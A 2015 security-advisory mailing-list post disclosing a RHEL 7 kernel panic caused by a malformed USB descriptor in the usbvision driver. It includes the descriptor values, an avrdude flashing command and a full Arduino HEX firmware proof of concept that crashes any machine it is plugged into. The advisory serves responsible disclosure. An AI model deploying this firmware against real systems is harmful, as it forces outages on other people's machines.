We just became aware of a typo in our advisory. The Red Hat version is 7.1. We did confirm it using the latest available kernel.
Kind regards, Ralf Am Mittwoch, 7. Oktober 2015, 10:04:32 schrieb Ralf Spenneberg: > OpenSource Security Ralf Spenneberg > Am Bahnhof 3-5 > 48565 Steinfurt > i...@os-s.net > > OS-S Security Advisory 2015-04 > http://www.os-s.net/advisories/DOS-KernelCrashesOnInvalidUSBDeviceDescriptor > s-UsbvisionDriver.pdf > > Date: October 7th, 2015 > Last Updated: October 7th, 2015 > Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg > CVE: not yet assigned > CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) > Title: Local RedHat Enterprise Linux DoS – RHEL 7.3 Kernel crashes on > invalid USB device descriptors (usbvision driver) > Severity: Critical. The Kernel panics. A reboot is required. > Vendor contacted: March 13th 2015 > https://bugzilla.redhat.com/show_bug.cgi?id=1201858 > Ease of Exploitation: Trivial > Vulnerability type: Wrong input validation > Products: RHEL 7.3 including all updates > > Abstract > The Kernel 3.10.0-123.20.1.el7.x86_64 crashes when presented a buggy USB > device which requires the usbvision driver. All subsequently published > kernel updates crash as well. > Detailed product description > We confirmed the bug on the following system: > RHEL 7.3 > kernel >= 3.10.0-123.20.1.el7.x86_64 > > > Further products or kernel versions have not been tested > Description > The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo > (github.com/schumilo) using the following device descriptor: > > ###[ USB_Device_Descriptor ]### > bLength = 18 > bDescriptorType= 0x1 > bcdUSB = 0x200 > bDeviceClass= 0xff > bDeviceSubClass= 0 > bDeviceProtocol= 0 > bMaxPacketSize= 64 > isVendor = 0x573 > idProduct = 0x4d26 > bcdDevice = 0x100 > iManufacturer= 1 > iProduct = 2 > iSerialNumber= 3 > bNumConfigurations= 1 > > This is the configuration descriptor containing the malicious value for > bInterfaceNumber causing the crash. Any number but 0 crashes the system. > > ###[ USB_Configuration_Descriptor ]### > bLength = 9 > bDescriptorType= 0x2 > wTotalLength= 0x27 > bNumInterfaces= 1 > bConfigurationValue= 1 > iConfiguration= 0 > bmAttributes= Remote_Wakeup+Self_Powered+Reserved_D7 > bMaxPower = 49 > ###[ USB_Interface_Descriptor ]### > bLength = 9 > bDescriptorType= 0x4 > bInterfaceNumber= 255 > bAlternateSetting= 0 > bNumEndpoints= 3 > bInterfaceClass= 0xff > bInterfaceSubClass= 0x0 > bInterfaceProtocol= 0x0 > iInterface= 0 > ###[ USB_Endpoint_Descriptor ]### > bLength = 7 > bDescriptorType= 0x5 > bEndpointAddress= 0x81 > bmAttribut= 0x3 > wMaxPacketSize= 1028 > bInterval = 12 > ###[ USB_Endpoint_Descriptor ]### > bLength = 7 > bDescriptorType= 0x5 > bEndpointAddress= 0x1 > bmAttribut= 0x2 > wMaxPacketSize= 4 > bInterval = 12 > ###[ USB_Endpoint_Descriptor ]### > bLength = 7 > bDescriptorType= 0x5 > bEndpointAddress= 0x82 > bmAttribut= 0x1 > wMaxPacketSize= 4 > bInterval = 12 > > Proof of Concept > For a proof of concept we are providing a Arduino firmware file. Just flash > it on Arduino Leonardo and plug it into any RHEL machine. The arduino will > emulate the defective USB device. > > avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U > flash:w:binary.hex > > The file binary.hex has been attached to this bug report > > To prevent automated sending of payloads, use a jumper to connect port D3 > and 3V3! > > Severity and Ease of Exploitation > The security weakness can be easily exploited. Using our arduino firmware > only physical access to the system is required. > Vendor Communication > We unsuccessfully tried to contact the vendor for several months. We never > received any response on our bugtraq ticket: > https://bugzilla.redhat.com/show_bug.cgi?id=1201858 > > Arduino Firmware > > :100000000C94A8000C94C5000C94C5000C94C50079 > :100010000C94C5000C94C5000C94C5000C94C5004C > :100020000C94C5000C94C5000C94CC050C943704BA > :100030000C94C5000C94C5000C94C5000C94C5002C > :100040000C94C5000C94C5000C94C5000C94C5001C > :100050000C94C5000C94C5000C94C5000C941602B9 > :100060000C94C5000C94C5000C94C5000C94C500FC > :100070000C94C5000C94C5000C94C5000C94C500EC > :100080000C94C5000C94C5000C94C5000C94C500DC > :100090000C94C5000C94C5000C94C5000C94C500CC > :1000A0000C94C5000C94C5000C94C50013031603F2 > :1000B00009030D033703370337031A031E03220313 > :1000C00028032C03370332030000000200080E004F > :1000D00000030401000B000000000000000000000D > :1000E00000000000000004080201104080401020C1 > :1000F00040804080080204018040201002011080EE > :100100001020404004040404040304050202020217 > :1001100004030202020206060606060604040202A0 > :100120000204000000002300260029002C002F00FC > :1001300000000000250028002B002E0031000000E8 > :100140000000240027002A002D00300000C180811B > :1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077 > :10016000B1E0E4EEF3E102C005900D92A436B107D0 > :10017000D9F725E0A4E6B5E001C01D92AF37B2077C > :10018000E1F70E94C8000C940C070C94000008953D > :10019000CF93DF93CDB7DEB7CD59D1090FB6F89421 > :1001A000DEBF0FBECDBF0E94A9020E94C70060E063 > :1001B00083E00E94380361E087E00E94380361E039 > :1001C00088E00E9438030E9461067E012AE9E20E5F > :1001D000F11C84E093E0D70111969C938E9389E003 > :1001E00094E013969C938E93129782E2E2E1F1E001 > :1001F0009E012F5F3F4F6901D90101900D928A95B1 > :10020000E1F788E1E4E3F1E0DE01939601900D92DD > :100210008A95E1F782E1ECE4F1E0DE01DB96019002 > :100220000D928A95E1F789E0EEE5F1E0DE01A05953 > :10023000BF4F01900D928A95E1F7CE0189599F4FEA > :1002400029E0922EDC01E92D1D92EA95E9F78E0155 > :1002500009571F4F27E0E7E6F1E0D80101900D9222 > :100260002A95E1F7BE0160587F4F27E0EEE6F1E006 > :10027000DB0101900D922A95E1F7AE0147585F4FDF > :1002800027E0E5E7F1E0DA0101900D922A95E1F728 > :100290005E01FEE8AF0EB11C26E0ECE7F1E0D5010F > :1002A00001900D922A95E1F79E01235B3F4FEEE00E > :1002B000D9011D92EA95E9F7F3E0D9011996FC936B > :1002C000DC019C92E4E01196EC931197EFEF12960B > :1002D000EC9312971496FC9314971596EC93FC01EB > :1002E000D901892D01900D928A95E1F7FE01EC5616 > :1002F000FF4FD9011B96FC93EE931A971D96BC9263 > :10030000AE921C9711830083738362835583448369 > :100310000C5211098CE0F80111928A95E9F781E0FD > :10032000D80119968C931997FE01E059FF4F01905F > :100330000D929A94E1F7F8013387228761E088E013 > :100340000E9471038BE492E00E946D0688E892E0BF > :100350000E946D0687EC92E00E946D0686E093E0B5 > :100360000E946D0682E493E00E946D068FE793E0A1 > :100370000E946D0684EA93E00E946D068BEE93E086 > :100380000E946D0683E00E94A703892B09F047C0F5 > :100390005E01F3E2AF0EB11C8824839482E1982EB3 > :1003A00084E194E00E946D06BF92AF92DF92CF92FB > :1003B000FF92EF921F928F921F930F932DB73EB72C > :1003C000225131090FB6F8943EBF0FBE2DBFADB715 > :1003D000BEB71196FE01FB96892D01900D928A956C > :1003E000E1F78DE695E00E940B0668E873E180E096 > :1003F00090E00E9483028DE695E00E94560660E040 > :1004000087E00E94710368E873E180E090E00E9459 > :1004100083020FB6F894DEBF0FBECDBFC1CF6AE036 > :1004200070E080E090E00E948302ACCF1F920F92B8 > :100430000FB60F9211242F933F938F939F93AF93F7 > :10044000BF938091650590916605A0916705B09175 > :1004500068053091640523E0230F2D3720F40196C1 > :10046000A11DB11D05C026E8230F0296A11DB11DD7 > :10047000209364058093650590936605A0936705B6 > :10048000B09368058091690590916A05A0916B050C > :10049000B0916C050196A11DB11D809369059093E3 > :1004A0006A05A0936B05B0936C05BF91AF919F91C6 > :1004B0008F913F912F910F900FBE0F901F90189525 > :1004C0003FB7F8948091690590916A05A0916B05FA > :1004D000B0916C0526B5A89B05C02F3F19F0019679 > :1004E000A11DB11D3FBF6627782F892F9A2F620F5C > :1004F000711D811D911D42E0660F771F881F991F96 > :100500004A95D1F70895CF92DF92EF92FF92CF9361 > :10051000DF936B017C010E946002EB01C114D104E6 > :10052000E104F10479F00E9460026C1B7D0B683ECF > :100530007340A0F381E0C81AD108E108F108C8515E > :10054000DC4FECCFDF91CF91FF90EF90DF90CF9019 > :100550000895789484B5826084BD84B5816084BD3B > :1005600085B5826085BD85B5816085BDEEE6F0E02C > :10057000808181608083E1E8F0E010828081826088 > :100580008083808181608083E0E8F0E08081816009 > :100590008083E1E9F0E080818260808380818160F6 > :1005A0008083E0E9F0E0808181608083E1ECF0E02D > :1005B000808184608083808182608083808181608B > :1005C0008083E3ECF0E0808181608083E0ECF0E008 > :1005D000808182608083E2ECF0E0808181608083B2 > :1005E000EAE7F0E08081846080838081826080839C > :1005F000808181608083808180688083089590E01D > :10060000FC013197EE30F10590F5EA5AFF4F0C945A > :10061000B309809180008F7703C0809180008F7D27 > :1006200080938000089584B58F7702C084B58F7D54 > :1006300084BD0895809190008F7707C080919000CD > :100640008F7D03C080919000877F809390000895F4 > :100650008091C0008F7703C08091C0008F7D809310 > :10066000C00008958091C200877F8093C2000895E2 > :10067000CF93DF9390E0FC01EA51FF4F2491FC01FE > :10068000EC5FFE4F8491882349F190E0880F991F19 > :10069000FC01E25CFE4FA591B491805D9E4FFC0190 > :1006A000C591D4919FB7611108C0F8948C912095A1 > :1006B00082238C93888182230AC0623051F4F8949B > :1006C0008C91322F309583238C938881822B888361 > :1006D00004C0F8948C91822B8C939FBFDF91CF91B3 > :1006E00008950F931F93CF93DF931F92CDB7DEB77B > :1006F000282F30E0F901E853FF4F8491F901EA51C6 > :10070000FF4F1491F901EC5FFE4F04910023C9F0F3 > :10071000882321F069830E94FF026981E02FF0E0C5 > :10072000EE0FFF1FE05DFE4FA591B4919FB7F894C7 > :100730008C91611103C01095812301C0812B8C9392 > :100740009FBF0F90DF91CF911F910F910895CF938D > :10075000DF93282F30E0F901E853FF4F8491F9012E > :10076000EA51FF4FD491F901EC5FFE4FC491CC23C5 > :1007700091F081110E94FF02EC2FF0E0EE0FFF1FBD > :10078000EE5DFE4FA591B4912C912D2381E090E078 > :1007900021F480E002C080E090E0DF91CF910895E5 > :1007A000615030F02091F100FC0120830196F8CFD8 > :1007B000289884E680937D0508951092E9001092B0 > :1007C00071051092700590936F0580936E050895E2 > :1007D000FF920F931F93CF93DF93F82E8B01EA01C3 > :1007E000BA01C8010E94AE06F80120E030E08EEFA9 > :1007F0002C173D0791F1F7FE02C0A49101C0A08122 > :10080000609170057091710540916E0550916F0572 > :1008100064177507ACF49091E8009570E1F390913E > :10082000E80092FD1CC0A093F100A0917005B0916A > :1008300071051196AF73BB27AB2B11F48093E800C1 > :10084000A0917005B09171051196B0937105A093B8 > :1008500070052F5F3F4F3196CBCFC90102C08FEF9C > :100860009FEFDF91CF911F910F91FF9008951F92FD > :100870000F920FB60F9211246F927F928F929F92D8 > :10088000AF92BF92CF92DF92EF92FF920F931F939E > :100890002F933F934F935F936F937F938F939F9388 > :1008A000AF93BF93EF93FF93CF93DF93CDB7DEB7B3 > :1008B0006297DEBFCDBF1092E9008091E80083FF10 > :1008C00046C168E0CE010A960E94D00382EF809371 > :1008D000E8009A8597FF05C08091E80080FFFCCF73 > :1008E00003C08EEF8093E800892F807609F023C142 > :1008F0008B85811105C01092F1001092F10020C18A > :10090000282F2D7F213009F41BC1853049F48091B7 > :10091000E80080FFFCCF8C8580688093E30010C1E5 > :10092000863009F0E1C02D8508891989223009F047 > :10093000B3C0EC848E2D90E0209173053091740546 > :10094000821793070CF09FC00E94DD031F92EF9265 > :100950008DE394E09F938F930E948B068CE0E89E3A > :1009600070011124E0917505F0917605EE0DFF1DE3 > :1009700089E0DE01119601900D928A95E1F7C80198 > :100980000E94DD0349E050E0BE016F5F7F4F80E0D1 > :100990000E94E8030F900F900F900F90C12CD12C64 > :1009A000612C712C33E7A32E34E0B32E4AEA842E57 > :1009B00044E0942EE0917505F0917605EE0DFF1D53 > :1009C000818590E0681679060CF0BAC07F926F922C > :1009D000BF92AF920E948B06E0917505F09176056B > :1009E000EE0DFF1D628573856C0D7D1D49E050E0A5 > :1009F00080E00E94E8030F900F900F900F9000E0AE > :100A000010E0E0917505F0917605EE0DFF1D028472 > :100A1000F385E02DEC0DFD1D818590E00817190789 > :100A20005CF51F930F939F928F920E948B06E0912B > :100A30007505F0917605EE0DFF1D0284F385E02D1E > :100A4000EC0DFD1DC801880F991FA485B585A80F61 > :100A5000B91F4D915C910284F385E02DE80FF91FD9 > :100A60006081718180E00E94E8030F5F1F4F0F904B > :100A70000F900F900F90C5CF8FEF681A780A8EE015 > :100A8000C80ED11C97CF8FED94E09F938F930E9457 > :100A90008B060F900F9058C0C8012A8B0E94DD036F > :100AA0002A892130C1F0233009F04EC08C851F9275 > :100AB0008F9389EF94E09F938F930E948B0642E07F > :100AC00050E062E871E080E00E94E8030F900F9030 > :100AD0000F900F9035C04091000150E060E071E050 > :100AE00080E00E94E8032CC0873071F1883021F447 > :100AF00081E08093F10024C0893011F5937021F5D5 > :100B0000EDE4F1E081E021E096E38093E9002093B9 > :100B1000EB0034913093EC009093ED008F5F3196B1 > :100B2000843099F78EE78093EA001092EA008C8572 > :100B30008093720505C0888999890E94DD0304C0ED > :100B40008EEF8093E80003C081E28093EB00629611 > :100B50000FB6F894DEBF0FBECDBFDF91CF91FF91EE > :100B6000EF91BF91AF919F918F917F916F915F9125 > :100B70004F913F912F911F910F91FF90EF90DF9038 > :100B8000CF90BF90AF909F908F907F906F900F907D > :100B90000FBE0F901F9018951F920F920FB60F92D5 > :100BA00011248F939F938091E1001092E10083FFC5 > :100BB0000FC01092E90091E09093EB001092EC00CE > :100BC00092E39093ED001092720598E09093F000FC > :100BD00082FF1AC080917E05882339F080917E05BE > :100BE000815080937E05882369F080917D0588235C > :100BF00059F080917D05815080937D05811104C05D > :100C0000289A02C05D9AF1CF9F918F910F900FBEED > :100C10000F901F901895CF93DF93CDB7DEB782E189 > :100C2000FE013596A0E0B1E001900D928A95E1F7C2 > :100C30008F89988D9093760580937505898D9A8D0F > :100C400090937405809373058B8D9C8D90937C0598 > :100C500080937B058D8D9E8D90937A058093790589 > :100C60008F8D98A1909378058093770510927205E7 > :100C700081E08093D70080EA8093D80082E189BD2B > :100C800009B400FEFDCF61E070E080E090E00E94DA > :100C9000830280E98093D8008CE08093E200109278 > :100CA000E000559A209ADF91CF91089581E08093DA > :100CB000E00008959091C80095FFFCCF8093CE008E > :100CC00008951092CD0087E68093CC0088E1809350 > :100CD000C9008EE08093CA0008950F931F93CF93AD > :100CE000DF93EC018C01FE0101900020E9F73197C0 > :100CF000EC1BFD0BC8018C1B9D0B8E179F0730F45E > :100D0000F80181918F010E945A06EDCFDF91CF91BA > :100D10001F910F910895CF93DF93CDB7DEB7DA958A > :100D20000FB6F894DEBF0FBECDBFFE01EB5FFE4FE6 > :100D3000419151919F0160E071E0CE0101960E94C6 > :100D40000F07CE0101960E946D06D3950FB6F89459 > :100D5000DEBF0FBECDBFDF91CF9108958F929F92DE > :100D6000AF92BF92CF92DF92EF92FF920F931F93B9 > :100D7000CF93DF9300D0CDB7DEB75B0122E535E03E > :100D80003F932F9389839A830E948B068981882EB3 > :100D90009A81992E0F900F9000E010E08EE5E82EDA > :100DA00085E0F82E91E1C92E94E0D92E0A151B0595 > :100DB000E4F4F40181914F0190E09F938F93FF92AF > :100DC000EF920E948B060F5F1F4FC8018F7099270B > :100DD0000F900F900F900F90892B41F7DF92CF92D9 > :100DE0000E948B060F900F90E1CF81E194E09F93DA > :100DF0008F930E948B060F900F900F900F90DF91B2 > :100E0000CF911F910F91FF90EF90DF90CF90BF9007 > :100E1000AF909F908F900895F8940C94F009AEE0F5 > :100E2000B0E0E5E1F7E00C94C7098C01CA0146E0A7 > :100E30004C831A83098377FF02C060E070E8615039 > :100E400071097E836D83A901BC01CE0101960E94C8 > :100E50003B074D815E8157FD0AC02F8138854217BF > :100E600053070CF49A01F801E20FF31F10822E963B > :100E7000E4E00C94E309ACE0B0E0E1E4F7E00C94CA > :100E8000B9097C016B018A01FC01178216828381FA > :100E900081FFBDC1CE0101964C01F7019381F6019E > :100EA00093FD859193FF81916F01882309F4ABC174 > :100EB000853239F493FD859193FF81916F018532DD > :100EC00029F4B70190E00E942309E7CF512C312C7F > :100ED00020E02032A0F48B3269F030F4803259F0F7 > :100EE000833269F420612CC08D3239F0803339F4BB > :100EF000216026C02260246023C0286021C027FD15 > :100F000027C030ED380F3A3078F426FF06C0FAE0FB > :100F10005F9E300D1124532E13C08AE0389E300D91 > :100F20001124332E20620CC08E3221F426FD6BC1B9 > :100F3000206406C08C3611F4206802C0883641F463 > :100F4000F60193FD859193FF81916F018111C1CFCE > :100F5000982F9F7D9554933028F40C5F1F4FFFE32B > :100F6000F9830DC0833631F0833771F0833509F092 > :100F70005BC022C0F801808189830E5F1F4F44242B > :100F80004394512C540115C03801F2E06F0E711CCE > :100F9000F801A080B18026FF03C0652D70E002C07B > :100FA0006FEF7FEFC5012C870E9418092C01830188 > :100FB0002C852F77222E17C03801F2E06F0E711C9E > :100FC000F801A080B18026FF03C0652D70E002C04B > :100FD0006FEF7FEFC5012C870E940D092C012C8536 > :100FE0002068222E830123FC1BC0832D90E048162D > :100FF0005906B0F4B70180E290E00E9423093A94C8 > :10100000F4CFF50127FC859127FE81915F01B7019F > :1010100090E00E94230931103A94F1E04F1A5108F0 > :101020004114510471F7E5C0843611F0893639F561 > :10103000F80127FF07C060817181828193810C5F75 > :101040001F4F08C060817181882777FD8095982F98 > :101050000E5F1F4F2F76B22E97FF09C09095809597 > :10106000709561957F4F8F4F9F4F2068B22E2AE079 > :1010700030E0A4010E945509A82EA81844C0853765 > :1010800029F42F7EB22E2AE030E025C0F22FF97F1E > :10109000BF2E8F36C1F018F4883579F0B4C0803790 > :1010A00019F0883721F0AFC02F2F2061B22EB4FE87 > :1010B0000DC08B2D8460B82E09C024FF0AC09F2F5D > :1010C0009660B92E06C028E030E005C020E130E08F > :1010D00002C020E132E0F801B7FE07C060817181F3 > :1010E000828193810C5F1F4F06C06081718180E017 > :1010F00090E00E5F1F4FA4010E945509A82EA8186A > :10110000FB2DFF77BF2EB6FE0BC02B2D2E7FA51417 > :1011100050F4B4FE0AC0B2FC08C02B2D2E7E05C0D0 > :101120007A2C2B2D03C07A2C01C0752C24FF0DC006 > :10113000FE01EA0DF11D8081803311F4297E09C082 > :1011400022FF06C07394739404C0822F867809F03E > :10115000739423FD13C020FF06C05A2C731418F497 > :10116000530C5718732C731468F4B70180E290E0A5 > :101170002C870E94230973942C85F5CF731410F4E7 > :10118000371801C0312C24FF12C0B70180E390E072 > :101190002C870E9423092C8522FF17C021FF03C042 > :1011A00088E590E002C088E790E0B7010CC0822F8C > :1011B000867859F021FD02C080E201C08BE227FD54 > :1011C0008DE2B70190E00E942309A51438F4B7011D > :1011D00080E390E00E9423095A94F7CFAA94F40187 > :1011E000EA0DF11D8081B70190E00E942309A11052 > :1011F000F5CF332009F451CEB70180E290E00E9490 > :1012000023093A94F6CFF7018681978102C08FEFC8 > :101210009FEF2C96E2E10C94D509FC0105906150FA > :1012200070400110D8F7809590958E0F9F1F0895FC > :10123000FC016150704001900110D8F780959095A5 > :101240008E0F9F1F08950F931F93CF93DF93182F37 > :10125000092FEB018B8181FD03C08FEF9FEF20C031 > :1012600082FF10C04E815F812C813D814217530760 > :101270007CF4E881F9819F012F5F3F4F39832883F8 > :10128000108306C0E885F985812F0995892B29F7F8 > :101290002E813F812F5F3F4F3F832E83812F902FE1 > :1012A000DF91CF911F910F910895FA01AA2728305D > :1012B00051F1203181F1E8946F936E7F6E5F7F4F23 > :1012C0008F4F9F4FAF4FB1E03ED0B4E03CD0670F9F > :1012D000781F891F9A1FA11D680F791F8A1F911DF2 > :1012E000A11D6A0F711D811D911DA11D20D009F442 > :1012F00068943F912AE0269F11243019305D319384 > :10130000DEF6CF010895462F4770405D4193B3E06C > :101310000FD0C9F7F6CF462F4F70405D4A3318F013 > :10132000495D31FD4052419302D0A9F7EACFB4E0C4 > :10133000A6959795879577956795BA95C9F700977C > :101340006105710508959B01AC010A2E069457951D > :10135000479537952795BA95C9F7620F731F841F74 > :10136000951FA01D0895EE0FFF1F0590F491E02D2D > :1013700009942F923F924F925F926F927F928F9239 > :101380009F92AF92BF92CF92DF92EF92FF920F9314 > :101390001F93CF93DF93CDB7DEB7CA1BDB0B0FB61E > :1013A000F894DEBF0FBECDBF09942A8839884888DB > :1013B0005F846E847D848C849B84AA84B984C88471 > :1013C000DF80EE80FD800C811B81AA81B981CE0F68 > :1013D000D11D0FB6F894DEBF0FBECDBFED0108954D > :0413E000F894FFCFAF > :1013E4001201000200000040AD0BEFBE000101023B > :1013F4000001220342006100640020004200410019 > :1014040042004500250078002500780025006E0084 > :1014140025007000180342004100440020004300EE > :10142400300046004600450045002100120100023C > :10143400FF0000407305264D00010102030109026B > :10144400270001010000FA0705810304040C0705C5 > :10145400010204000C0705820104000C07000700C8 > :101464000700480100500072006F006C00690066BC > :101474000069006300000A550000006BFD180A00B3 > :10148400809F0AB901312B940A8101128946001305 > :10149400000257028B0A5E0AF80A5F01F212010089 > :1014A40002010000400D055702000101020301B9C9 > :1014B4000A0100F80A5F0A810A22034200610064FB > :1014C400002000420041004200450025007800252C > :1014D40000780025006E00250070001803420041CA > :1014E400004400200043003000460046004500450B > :1014F40000210012010002010000400D0557020006 > :10150400010102030109040000030100000003F2C9 > :101514000AEC0A0902270001010000FA01AB0A09DA > :101524000400000301000000090200202020202004 > :101534005F5F5F5F5F5F5F5F2020202020202020AF > :101544002020202020202020202020202020202097 > :1015540020205F5F5F5F5F205F5F20205F2020208F > :101564002020205F5F0A0D00202020202F205F5FB5 > :101574005F5F2F202F5F20205F5F5F5F205F5F5FD3 > :101584005F5F20205F5F5F5F5F20202020202F208F > :101594005F5F5F2F2F202F5F285F295F5F5F5F2FC3 > :1015A400202F5F5F0A0D002020202F202F202020D5 > :1015B4002F205F5F205C2F205F5F20602F205F5F04 > :1015C400205C2F205F5F5F2F5F5F5F5F205C5F5F4A > :1015D400205C2F205F5F2F202F205F5F5F2F202F45 > :1015E4002F5F2F0A0D0020202F202F5F5F5F2F20F9 > :1015F4002F202F202F202F5F2F202F202F5F2F20F1 > :10160400285F5F2020292F5F5F5F2F205F5F2F20DF > :101614002F202F5F2F202F202F5F5F2F202C3C0A9D > :101624000D0020205C5F5F5F5F2F5F2F202F5F2FF7 > :101634005C5F5F2C5F2F5C5F5F5F5F2F5F5F5F5F4F > :101644002F20202020202F5F5F5F5F2F5C5F5F2FA4 > :101654005F2F5C5F5F5F2F5F2F7C5F7C0A0D002034 > :101664003C3C2043485241534820414E59204F505E > :1016740045524154494E472053595354454D203EF9 > :101684003E0A0D00203C3C202863292053657267E4 > :10169400656A20536368756D696C6F20323031352B > :1016A4002C204F70656E536F7572636520536563AC > :1016B40075726974792052616C66205370656E6E20 > :1016C4006562657267203E3E0A0D000A3E3E205068 > :1016D4007265737320627574746F6E20746F2073F7 > :1016E4007461727420657865637574696F6E2E2EEB > :1016F4002E0A0D005B44454255475D2045786563DD > :10170400757465207061796C6F616420300A0D0016 > :10171400526563762D446174613A0A0D005B444559 > :101724004255475D200953656E6420436F6E6669B8 > :101734006775726174696F6E4465736372697074FE > :101744006F720928696E6465783A2569292E2E2EF0 > :101754000D0A005B44454255475D200953656E649C > :1017640020496E74657266616365204465736372B3 > :101774006970746F720928696E7465726661636555 > :101784003A2569292E2E2E0D0A005B444542554701 > :101794005D200953656E6420456E64706F696E74D4 > :1017A4002044657363726970746F720928656E648E > :1017B400706F696E743A2569292E2E2E0D0A005B0E > :1017C40044454255475D203C3C70616E6963206D21 > :1017D4006F64653F3E3E0D0A005B44454255475DDC > :1017E4002009203E3E20537472696E67204465735D > :1017F40063726970746F7220726571756573742099 > :101804002D2073656E64696E67206D616C666F72FE > :101814006D656420737472696E67212073657475D5 > :10182400702E7756616C75654C203D3D2025690D01 > :101834000A005B48455844554D505D0A0D0025305B > :0418440032582000F6 > :00000001FF